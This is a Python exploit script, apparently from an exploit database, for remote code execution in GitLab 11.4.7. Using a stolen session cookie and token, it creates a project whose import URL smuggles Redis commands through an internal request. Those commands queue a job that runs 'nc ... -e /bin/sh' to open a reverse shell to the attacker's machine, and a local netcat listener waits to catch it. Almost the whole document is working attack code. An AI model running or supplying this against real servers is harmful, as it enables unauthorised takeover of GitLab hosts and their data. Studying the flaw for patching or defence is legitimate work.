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Gitlab 11.4.7 - Remote Code Execution Exploit
[# Exploit Title: Gitlab 11.4.7 - Remote Code Execution
# Exploit Author: Fortunato Lodari fox [at] thebrain [dot] net, foxlox
# Vendor Homepage: https://about.gitlab.com/
# POC: https://liveoverflow.com/gitlab-11-4-7-remote-code-execution-real-world-ctf-2018/
# Tested On: Debian 10 + Apache/2.4.46 (Debian)
# Version: 11.4.7 community
import sys
import requests
import time
import random
import http.cookiejar
import os.path
from os import path
# Sign in GitLab 11.4.7 portal and get (using Burp or something other):
# authenticity_token
# authenticated cookies
# username
# specify localport and localip for reverse shell
username='aaaaaaaaaaaa'
authenticity_token='jpT/n1EoPwwWtiGu/+QKVQomofMNyqAQXY+iD2kVoRQoiQNzcFHPAj2+M4pyblKo/7UkClKW8jvp51Aw2qzs7g=='
cookie = '_gitlab_session=c942527505cc0580c026610a1799b811; sidebar_collapsed=false'
localport='1234'
localip='192.168.0.114'
url = "http://192.168.0.130:5080"
proxies = { "http": "http://localhost:8080" }
def deb(str):
print("Debug => "+str)
def create_payload(authenticity_token,prgname,namespace_id,localip,localport,username):
return {'utf8':'✓','authenticity_token':authenticity_token,'project[ci_cd_only]':'false','project[name]':prgname,'project[namespace_id]':namespace_id,'project[path]':prgname,'project[description]':prgname,'project[visibility_level]':'20','':'project[initialize_with_readme]','project[import_url]':'git://[0:0:0:0:0:ffff:127.0.0.1]:6379/\n multi\n sadd resque:gitlab:queues system_hook_push\n lpush resque:gitlab:queue:system_hook_push "{\\"class\\":\\"GitlabShellWorker\\",\\"args\\":[\\"class_eval\\",\\"open(\'|nc '+localip+' '+localport+' -e /bin/sh\').read\\"],\\"retry\\":3,\\"queue\\":\\"system_hook_push\\",\\"jid\\":\\"ad52abc5641173e217eb2e52\\",\\"created_at\\":1513714403.8122594,\\"enqueued_at\\":1513714403.8129568}"\n exec\n exec\n exec\n/'+username+'/'+prgname+'.git'}
import string
def random_string(length):
return ''.join(random.choice(string.ascii_letters) for m in range(length))
def init(username,cookie,authenticity_token,localport,localip):
from bs4 import BeautifulSoup
import re
import urllib.parse
deb("Token: "+authenticity_token)
deb("Cookie: "+cookie)
session=requests.Session()
headers = {'user-agent':'Moana Browser 1.0','Cookie':cookie,'Content-Type':'application/x-www-form-urlencoded','DNT':'1','Upgrade-Insecure-Requests':'1'}
r=session.get(url+'/projects/new',headers=headers,allow_redirects=True)
soup = BeautifulSoup(r.content,"lxml")
nsid = soup.findAll('input', {"id": "project_namespace_id"})
namespace_id=nsid[0]['value'];
deb("Namespace ID: "+namespace_id)
prgname=random_string(8)
newpayload=create_payload(authenticity_token,prgname,namespace_id,localip,localport,username)
newpayload=urllib.parse.urlencode(newpayload)
deb("Payload encoded: "+newpayload)
r=session.post(url+'/projects',newpayload,headers=headers,allow_redirects=False)
os.system("nc -nvlp "+localport)
init(username,cookie,authenticity_token,localport,localip)
# 0day.today [2024-11-16] #